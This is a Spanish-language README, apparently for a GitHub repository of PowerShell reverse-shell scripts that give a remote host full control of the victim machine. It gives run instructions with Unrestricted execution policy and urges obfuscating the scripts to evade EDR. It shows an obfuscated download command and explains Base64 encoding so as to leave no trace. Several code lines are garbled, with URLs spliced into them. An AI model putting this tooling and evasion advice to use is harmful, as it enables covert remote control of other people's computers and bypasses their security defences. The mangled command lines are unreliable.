
Scripts de PowerShell para comunicarse con un host remoto.
Scripts de PowerShell para comunicarse con un host remoto.
El host remoto tendrá control total sobre el cliente y todos los comandos del sistema subyacente.
Consulta los shells basados en:
Probado con PowerShell v5.1.19041.2673 en Windows 10 Enterprise OS (64-bit).
Creado con fines educativos. ¡Espero que sea de ayuda!
Este repositorio ha empezado a tener firmas conocidas y no tengo tiempo para subir nuevos scripts cada vez, por lo que deberías ofuscar estos scripts tú mismo.
Planes futuros:
Cambia la dirección IP y el número de puerto dentro de los scripts según sea necesario.
Abre PowerShell desde \src\invoke_expression\original\ o \src\process_pipes\original\ y ejecuta los comandos que se muestran a continuación.
Establece la directiva de ejecución:```pwsh Set-ExecutionPolicy Unrestricted
Ejecuta el script:```pwsh
.\powershell_reverse_tcp.ps1
O, ejecute el siguiente comando desde PowerShell o Command Prompt:```pwsh PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1
## Ofuscar Scripts de PowerShell
Intente evadir el EDR y otros mecanismos de seguridad ofuscando sus scripts. Puede ver dichas ofuscaciones en los ejemplos siguientes.
Comando original de PowerShell:```pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)
Comando de PowerShell ofuscado:```pwsh
& (GCM *ke-E*) '(& (GCM ew-O) NET.WEBCLIENT)."DOWNLOADFIL`E"($url, $out)'
**Consulta el script original de PowerShell [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1) y el completamente ofuscado [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1).**
Después de la [ofuscación manual](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1), el script original de PowerShell fue ofuscado con [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation). ¡Créditos al autor!
Busca en Internet técnicas y métodos de ofuscación adicionales.
P.D. Debido a que PowerShell se actualiza constantemente, algunas expresiones regulares (p. ej. `*ke-E*`) pueden comenzar a lanzar excepciones debido a que múltiples métodos coinciden con la misma expresión, por lo que será necesario especificar las expresiones un poco mejor.
### Comando Codificado de PowerShell
Para generar un comando codificado de PowerShell a partir de un script de PowerShell, ejecuta el siguiente comando de PowerShell:```pwsh
[Convert]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:ToBase64String(%5BText.Encoding%5D::Unicode.GetBytes(%5BIO.File%5D::ReadAllText($script)))
Para decodificar un comando codificado de PowerShell, ejecuta el siguiente comando de PowerShell:```pwsh [Text.Encoding]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:Unicode.GetString(%5BConvert%5D::FromBase64String($command))
Utilice las líneas de comando a continuación si no desea dejar ningún rastro.
---